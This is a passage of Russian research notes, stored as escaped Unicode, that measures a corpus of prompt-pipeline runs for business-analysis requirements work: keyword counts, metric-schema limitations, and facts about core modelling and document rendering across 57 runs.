\u041f\u043e\u0434\u0441\u0442\u0440\u043e\u043a\u0430 | \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 56 |\\n| --- | --- | --- |\\n| \u041e\u0446\u0435\u043d\u043a\u0430 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f | `\u043f\u043e\u043a\u0440\u044b\u0442` | 41 |\\n| \u0423\u0442\u043e\u0447\u043d\u044f\u044e\u0449\u0438\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b | `\u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438` | 23 |\\n| \u0413\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0438 | `\u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d` | 20 |\\n| \u0414\u043e\u043c\u044b\u0441\u043b\u0438\u0432\u0430\u043d\u0438\u0435 | `\u0434\u043e\u043c\u044b\u0441\u043b` | 11 |\\n| \u041a\u0430\u0441\u0442\u043e\u043c-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 | `\u043a\u0430\u0441\u0442\u043e\u043c` | 10 |\\n| \u0422\u0430\u0440\u0438\u0444\u043d\u0430\u044f \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 | `\u0442\u0430\u0440\u0438\u0444` | 7 |\\n| \u041f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 | `\u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430` | 5 |\\n| \u00ab\u0423\u0436\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e\u00bb | `\u0443\u0436\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d` | 3 |\\n| Discoverability | `discoverab` | **0** |\\n| \u0423\u0441\u0442\u0430\u0440\u0435\u0432\u0430\u043d\u0438\u0435/\u0432\u044b\u0432\u043e\u0434 \u0438\u0437 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 | `deprecat`, `\u0432\u044b\u0432\u043e\u0434 \u0438\u0437 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438` | **0** |\\n\\n## 5. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f\\n\\n1. **\u0420\u0430\u0437\u043d\u043e\u0440\u043e\u0434\u043d\u0430\u044f \u0441\u0445\u0435\u043c\u0430 \u043c\u0435\u0442\u0440\u0438\u043a.** \u0413\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0438 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0442\u0440\u0435\u043c\u044f \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u043a\u043b\u044e\u0447\u0430\u043c\u0438:\\n   `hallucinations` (11 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432), `hallucinations_found` (3),\\n   `hallucinations_prevented` (3). \u0420\u0430\u043d\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b (RUN-0017, RUN-0020, RUN-0023)\\n   \u0434\u0435\u0440\u0436\u0430\u0442 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u0432 \u0431\u043b\u043e\u043a\u0435 `eval:`, \u043f\u043e\u0437\u0434\u043d\u0438\u0435 \u2014 \u0432 `metrics:`. \u0410\u0433\u0440\u0435\u0433\u0430\u0442\u043e\u0440 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0435\u0442\\n   \u043e\u0431\u0430 \u0431\u043b\u043e\u043a\u0430, \u043d\u043e **\u043d\u0435** \u0441\u043a\u043b\u0435\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043d\u043e\u0438\u043c\u0451\u043d\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438: \u0441\u0443\u043c\u043c\u0430 \u043f\u043e `hallucinations`\\n   \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0438\u0436\u043d\u0435\u0439 \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439.\\n2. **`success_rate` \u043d\u0435\u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043c \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c\u0438.** \u041f\u043e\u043b\u0435\\n   `success_rate_basis` \u0432 RUN-0023 \u043f\u0440\u044f\u043c\u043e \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442: \u0448\u043a\u0430\u043b\u0430 \u00ab\u043f\u0440\u0438\u043d\u044f\u0442\u043e\\n   \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c\u00bb \u0442\u0430\u043c \u043d\u0435\u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u0430, \u0438 \u00ab\u043f\u0440\u044f\u043c\u043e\u0435 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u0441 `success_rate` \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432,\\n   \u0441\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u044e \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 RUN-0020), \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u00bb.\\n   \u041c\u0435\u0434\u0438\u0430\u043d\u0430 0.60 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043a\u043e\u0440\u043f\u0443\u0441, \u0430 \u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.\\n3. **\u0417\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043c\u0435\u0442\u0440\u0438\u043a \u2014 \u043e\u0442 10 \u0434\u043e 41 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0438\u0437 56.** \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043c\u0435\u0442\u0440\u0438\u043a\u0438\\n   \u0447\u0430\u0449\u0435 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u00ab\u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u044f\u043b\u0438\u00bb, \u0430 \u043d\u0435 \u00ab\u043d\u043e\u043b\u044c\u00bb.\\n4. **\u041a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u0441\u043b\u043e\u0432\u0430 \u043d\u0435 \u0440\u0430\u0432\u043d\u044b \u044f\u0432\u043b\u0435\u043d\u0438\u044f\u043c.** \u041d\u043e\u043b\u044c \u043f\u043e `deprecat` \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0442\u0435\u043c\u0430\\n   \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0430\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 **\u043d\u0435 \u043e\u0431\u0441\u0443\u0436\u0434\u0430\u0435\u0442\u0441\u044f**; \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u043d\u0435 \u0441\u043b\u0435\u0434\u0443\u0435\u0442, \u0447\u0442\u043e\\n   \u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0435\u0442 \u2014 \u0441\u043b\u0435\u0434\u0443\u0435\u0442, \u0447\u0442\u043e \u0435\u0433\u043e \u043d\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442.\\n5. **\u0421\u043d\u0438\u043c\u043e\u043a \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d.** \u041d\u0430 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u043a\u043e\u043c\u043c\u0438\u0442\u0430\u0445 `mango_ba_prompts` \u0447\u0438\u0441\u043b\u0430\\n   \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u0441\u044f; \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430 \u043f\u043e\u043b\u0435\u043c `repo_sha` \u0432\\n   [`runs-aggregate.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-requirements-normalization-539/runs-aggregate.json).\\n---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-08-26\\ntemperature: 0.1\\ntype: research\\ncontext: [ba, requirements, mango, runs, corpus-measurement, pipeline, contracts, issue-545]\\nmethod: corpus-measurement + contract-gap-analysis + critical-analysis\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/545\\\"\\nbased_on:\\n  - research/ba-requirements/exp/ba-rrp-full-cycle-545/pipeline-facts.json\\nrelated_artifacts:\\n  - \\\"docs/rfc/2026-08-25-rfc-ba-artifact-pipeline-rrp-roadmap.md\\\"\\n  - \\\"research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md\\\"\\n  - \\\"research/ba-requirements/2026-08-26-m0-m2-layering-hypothesis-check.md\\\"\\n  - \\\"research/ba-requirements/exp/ba-rrp-full-cycle-545/README.md\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/545\\\"\\n---\\n\\n# \u0424\u0430\u043a\u0442\u044b \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u0434 \u043c\u043e\u0434\u0443\u043b\u0438 `M1`\u2013`M4`\\n\\n> **\u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435.** \u042d\u0442\u043e \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 **\u0441\u043d\u0438\u043c\u043e\u043a \u0437\u0430\u043c\u0435\u0440\u0430**, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0443\u043b\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f.\\n> \u041e\u043d \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043e\u0442 \u043c\u043e\u0434\u0443\u043b\u0435\u0439\\n> [`solution-modeling/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/solution-modeling),\\n> [`artifact-rendering/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/artifact-rendering),\\n> [`feedback-and-evolution/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/feedback-and-evolution)\\n> \u0438 [`orchestration/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/orchestration),\\n> \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0443 \u0437\u0430\u043c\u0435\u0440\u0430 \u0435\u0441\u0442\u044c \u0434\u0430\u0442\u0430 \u0438 \u043a\u043e\u043c\u043c\u0438\u0442 \u043a\u043e\u0440\u043f\u0443\u0441\u0430: \u043a\u043e\u0440\u043f\u0443\u0441 \u0440\u0430\u0441\u0442\u0451\u0442, \u0438 \u0447\u0435\u0440\u0435\u0437 \u043c\u0435\u0441\u044f\u0446\\n> \u0447\u0438\u0441\u043b\u0430 \u0431\u0443\u0434\u0443\u0442 \u0434\u0440\u0443\u0433\u0438\u043c\u0438, \u0430 \u0440\u0430\u043c\u043a\u0438 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u2014 \u043d\u0435\u0442.\\n>\\n> **\u0413\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u043e\u0441\u0442\u0438.** \u0412\u0441\u0451, \u0447\u0442\u043e \u0437\u0434\u0435\u0441\u044c \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e, \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a **\u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435\\n> \u043e\u0434\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438**. \u041f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u00ab\u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u0434\u043e\u043c\u043e\u0432\u00bb\\n> ([issue #545](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/545))\\n> \u044d\u0442\u0438 \u0447\u0438\u0441\u043b\u0430 **\u043d\u0435 \u0441\u0443\u0436\u0430\u044e\u0442** \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u043c\u043e\u0434\u0443\u043b\u0435\u0439: \u043e\u043d\u0438 \u043f\u0438\u0442\u0430\u044e\u0442 \u0442\u043e\u043b\u044c\u043a\u043e\\n> \u043c\u0430\u0442\u0440\u0438\u0446\u044b \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f \u0438 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044e \u043a\u0430\u0441\u0442\u043e\u043c\u0438\u0437\u0430\u0446\u0438\u0438.\\n\\n## 1. \u0427\u0442\u043e \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e\\n\\n\u0417\u0430\u043c\u0435\u0440 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c\\n[`exp/ba-rrp-full-cycle-545/measure-pipeline.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-rrp-full-cycle-545/measure-pipeline.py)\\n\u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `ef88a9a` \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\\n[`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts): **57\\n\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432**, \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 `runs/2026/RUN-*`. \u041c\u0435\u0442\u043e\u0434 \u0438 \u0435\u0433\u043e \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u2014 \u0432\\n[README \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-rrp-full-cycle-545/README.md).\\n\\n## 2. \u0421\u043e\u0441\u0442\u0430\u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n| \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 | 57 |\\n| `run_type` | `statistics` 47, `execution` 10 |\\n| `status` | `draft` 29, `works-with-edits` 19, `partial-success` 6, `success` 1, `needs-rework` 1, `experimental` 1 |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c `inputs/` | 57 (100 %) |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c `logs/` | 57 (100 %) |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c `feedback/` | 57 (100 %) |\\n\\n\u041f\u0435\u0440\u0432\u043e\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u2014 \u043d\u0435 \u043f\u0440\u043e \u0446\u0438\u0444\u0440\u044b, \u0430 \u043f\u0440\u043e \u0438\u0445 \u043e\u0434\u043d\u043e\u0440\u043e\u0434\u043d\u043e\u0441\u0442\u044c: \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\\n([`standards/runs-contract-standard.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/standards/runs-contract-standard.md))\\n\u0441\u043e\u0431\u043b\u044e\u0434\u0451\u043d \u043d\u0430 100 % **\u043f\u043e \u0444\u043e\u0440\u043c\u0435** \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0435\u0441\u0442\u044c \u0443 \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432. \u0412\u0441\u0451\\n\u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435, \u0447\u0442\u043e \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e \u043d\u0438\u0436\u0435, \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u043e \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u0445\u0443\u0436\u0435. \u042d\u0442\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f\\n`M4`: \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043e\u0439, \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f \u2014 \u043d\u0435\u0442.\\n\\n## 3. \u0424\u0430\u043a\u0442\u044b \u043f\u043e\u0434 `M1` (\u044f\u0434\u0440\u043e \u0438 \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435)\\n\\n| \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 | \u0427\u0442\u0435\u043d\u0438\u0435 |\\n| --- | --- | --- |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c-\u043c\u0430\u0440\u043a\u0435\u0440\u043e\u043c \u044f\u0434\u0440\u0430 (`fr-`, `bcreq`, `glossary`, `context`) | 15 \u0438\u0437 57 | \u044f\u0434\u0440\u043e \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0432 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c-\u043c\u0430\u0440\u043a\u0435\u0440\u043e\u043c \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (`us-`, `uc-`, `modeling`) | 2 \u0438\u0437 57 (`RUN-0002`, `RUN-0003`) | \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0447\u0442\u0438 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f **\u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u043c** \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c |\\n\\n\u0412\u044b\u0432\u043e\u0434, \u0432\u0430\u0436\u043d\u044b\u0439 \u0434\u043b\u044f `M1`: \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432 \u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u043d\u0435 \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u043e \u043e\u0442\\n\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u2014 \u043e\u043d\u043e \u0440\u0430\u0441\u0442\u0432\u043e\u0440\u0435\u043d\u043e \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0424\u0422. \u042d\u0442\u043e\\n\u0441\u043e\u0433\u043b\u0430\u0441\u0443\u0435\u0442\u0441\u044f \u0441 \u0440\u043e\u043b\u044c\u044e US/UC \u043a\u0430\u043a \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u0442\u0440\u0435\u0441\u0441-\u0442\u0435\u0441\u0442\u0430 (\u043f\u0440\u0430\u0432\u0438\u043b\u043e `F2` RFC), \u043d\u043e\\n\u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e **\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 `C-CORE` \u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u043d\u0435\u0442**: \u043d\u0435\u0442 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u043f\u0440\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0439\\n\u043c\u043e\u0436\u043d\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u00ab\u0432\u043e\u0442 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u044f\u0434\u0440\u043e, \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0435\u0449\u0451 \u043d\u0435 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u044b\u00bb.\\n\\n\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435: \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u0430 \u043a\u043b\u044e\u0447\u0435\u0432\u0430\u044f. \u041f\u0440\u043e\u0433\u043e\u043d, \u0441\u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0432\u043d\u0443\u0442\u0440\u0438\\n\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c, \u0432 \u0441\u0447\u0451\u0442 \u043d\u0435 \u043f\u043e\u043f\u0430\u043b. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0430\u044f \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 \u2014\\n\u00ab\u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0435 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043e \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u00bb, \u0430 \u043d\u0435 \u00ab\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u043d\u0435 \u0441\u0442\u0440\u043e\u044f\u0442\u0441\u044f\u00bb.\\n\\n## 4. \u0424\u0430\u043a\u0442\u044b \u043f\u043e\u0434 `M2` (\u0440\u0435\u043d\u0434\u0435\u0440 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432)\\n\\n| \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 | \u0427\u0442\u0435\u043d\u0438\u0435 |\\n| --- | --- | --- |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0432\u044b\u0434\u0430\u0432\u0448\u0438\u0445 \u2265 1 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 | 57 \u0438\u0437 57 (100 %) | \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441\u043b\u043e\u0435\u0432\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u0432\u0441\u0435\u0433\u0434\u0430 |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0432\u044b\u0434\u0430\u0432\u0448\u0438\u0445 > 1 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 | 23 \u0438\u0437 57 (40,4 %) | \u0432\u0435\u0435\u0440 \u0432\u044b\u0445\u043e\u0434\u043e\u0432 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u2014 \u043d\u0435 \u0440\u0435\u0434\u043a\u043e\u0441\u0442\u044c, \u0430 \u043d\u043e\u0440\u043c\u0430 \u0434\u043b\u044f \u0442\u0440\u0435\u0442\u0438 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 |\\n| \u0420\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0447\u0438\u0441\u043b\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 | 1 \u2192 34, 2 \u2192 11, 3 \u2192 11, 5 \u2192 1 | \u043c\u0430\u043a\u0441\u0438\u043c\u0443\u043c \u043f\u044f\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 (`RUN-0057`) |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u043c \u0432\u0435\u0435\u0440\u043e\u043c \u043f\u043e \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f\u043c (`L0`\u2026`L4`) | 2 (`RUN-0056`, `RUN-0057`) | \u044f\u0432\u043d\u0430\u044f \u0430\u0434\u0440\u0435\u0441\u0430\u0446\u0438\u044f \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0439 \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 |\\n\\n\u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u0444\u0430\u043a\u0442 \u0434\u043b\u044f `M2`: **40 % \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0443\u0436\u0435 \u0434\u0435\u043b\u0430\u044e\u0442 \u0442\u043e, \u0447\u0442\u043e RFC \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\\n\u0440\u0435\u043d\u0434\u0435\u0440\u043e\u043c \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u044f\u0434\u0440\u0430**, \u043d\u043e \u0434\u0435\u043b\u0430\u044e\u0442 \u044d\u0442\u043e \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u044f\u0434\u0440\u0430. \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b\\n\u043f\u043e\u0440\u043e\u0436\u0434\u0430\u044e\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u043e \u0438\u0437 \u043e\u0431\u0449\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u0434\u0438\u0430\u043b\u043e\u0433\u0430, \u0430 \u043d\u0435 \u0438\u0437 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e\\n`C-CORE`. \u041e\u0442\u0441\u044e\u0434\u0430 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 `K5` (\u043d\u0435\u0434\u0440\u0435\u0439\u0444 \u043d\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0435 `M1`/`M2`) \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0432\\n\u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u0442\u043e\u0447\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u2014 